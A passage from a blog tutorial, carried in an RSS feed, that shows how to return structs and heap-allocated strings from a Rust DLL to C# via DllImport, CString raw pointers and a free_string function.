    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;StructLayout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LayoutKind&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sequential&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;SampleStruct&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;Int16&lt;/span&gt; &lt;span class="n"&gt;field_one&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;Int32&lt;/span&gt; &lt;span class="n"&gt;field_two&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Program&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;DllImport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"our_rust.dll"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
        &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;extern&lt;/span&gt; &lt;span class="n"&gt;SampleStruct&lt;/span&gt; &lt;span class="nf"&gt;get_simple_struct&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and then we call it inside of &lt;code&gt;Main&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;simple_struct&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_simple_struct&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;simple_struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;field_one&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;simple_struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;field_two&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;....&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the following output (you remembered to move your updated DLL into the project directory, right?)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1
2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What about Strings?
&lt;/h2&gt;

&lt;p&gt;Strings are, in my opinion, the most subtly complicated thing in programming. This is doubly true when working between two different languages, and even MORE true when dealing with an interface between managed and unmanaged code. Our strategy will be to store static string onto the heap and return a &lt;code&gt;char *&lt;/code&gt;in a struct to the memory address. We will store this address in a static variable in rust to make deallocation easier. We will also define a function &lt;code&gt;free_string&lt;/code&gt; which, when called by c#, will signal to rust that we're done with the string, and it is OK to deallocate that memory. It's worth noting here that this is VERY oversimplified and most definitely NOT thread safe. How this should 'actually' be implemented is highly dependent on the code you're writing. &lt;/p&gt;

&lt;p&gt;Lets first add a using statement to the required standard libraries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c"&gt;//external crates&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;c_char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;ffi&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CString&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next we're going to create a mutable static variable which will hold the address of the string we're putting onto the heap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;STRING_POINTER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="nb"&gt;c_char&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="nb"&gt;c_char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's important to know that anytime we access this static variable, we will have the mark the block as unsafe. More information on why can be found &lt;a href="https://doc.rust-lang.org/book/first-edition/const-and-static.html"&gt;here&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Next we're going to edit our struct to have a c_char field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[repr(C)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;SampleStruct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;    
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;field_one&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;field_two&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;string_field&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="nb"&gt;c_char&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, lets create two helper methods, one that stores strings onto the heap and transfers ownership (private) and one that frees that memory (public). Information on these methods, and REALLY important safety considerations can be found &lt;a href="https://doc.rust-lang.org/std/ffi/struct.CString.html#method.from_raw"&gt;here&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;store_string_on_heap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string_to_store&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="nb"&gt;c_char&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;//create a new raw pointer&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;pntr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;CString&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string_to_store&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.into_raw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="c"&gt;//store it in our static variable (REQUIRES UNSAFE)&lt;/span&gt;
    &lt;span class="k"&gt;unsafe&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;STRING_POINTER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pntr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c"&gt;//return the c_char&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;pntr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;#[no_mangle]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;extern&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;free_string&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;unsafe&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="mi"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;CString&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from_raw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STRING_POINTER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;STRING_POINTER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="nb"&gt;c_char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, lets update &lt;code&gt;get_simple_struct&lt;/code&gt; to include our code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[no_mangle]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;extern&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;get_simple_struct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SampleStruct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;test_string&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Hi, I'm a string in rust"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;SampleStruct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;field_one&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;field_two&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;string_field&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;store_string_on_heap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;test_string&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Awesome! Our rust code is all ready! Lets edit our C# struct next. We will need to use the IntPtr type for our string field. We're supposed to be able to use the 'MarshalAs' data attributes to automatically turn this field into a string, but I have not been able to make it work.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;StructLayout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LayoutKind&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sequential&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;SampleStruct&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;Int16&lt;/span&gt; &lt;span class="n"&gt;field_one&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;Int32&lt;/span&gt; &lt;span class="n"&gt;field_two&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;IntPtr&lt;/span&gt; &lt;span class="n"&gt;string_field&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and if we add the following line into main below the other Console.WriteLines, we should be able to see our text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="n"&gt;Console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WriteLine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PtrToStringAnsi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;simple_struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string_field&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;finally, we need to tell rust that it's OK to deallocate that memory, so we need to import the &lt;code&gt;free_string&lt;/code&gt; method just like we did with the other methods and call it `free_string(); &lt;/p&gt;

&lt;p&gt;The output should like this this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;br&gt;
1&lt;br&gt;
2&lt;br&gt;
Hi, I'm a string in rust&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I hope all of this was useful to you! The complete c# can be found &lt;a href="https://gist.github.com/LivingInSyn/3f80d2bef2d7b9c7aa8e1efa277f80db"&gt;here&lt;/a&gt; and the complete rust code can be found &lt;a href="https://gist.github.com/LivingInSyn/81395282fdeeb8257b60ff279e2a39b4"&gt;here&lt;/a&gt;. Good luck, and happy coding!&lt;/p&gt;

</description>
      <category>rust</category>
      <category>csharp</category>
      <category>dll</category>
      <category>struct</category>
    </item>
  </channel>
</rss>
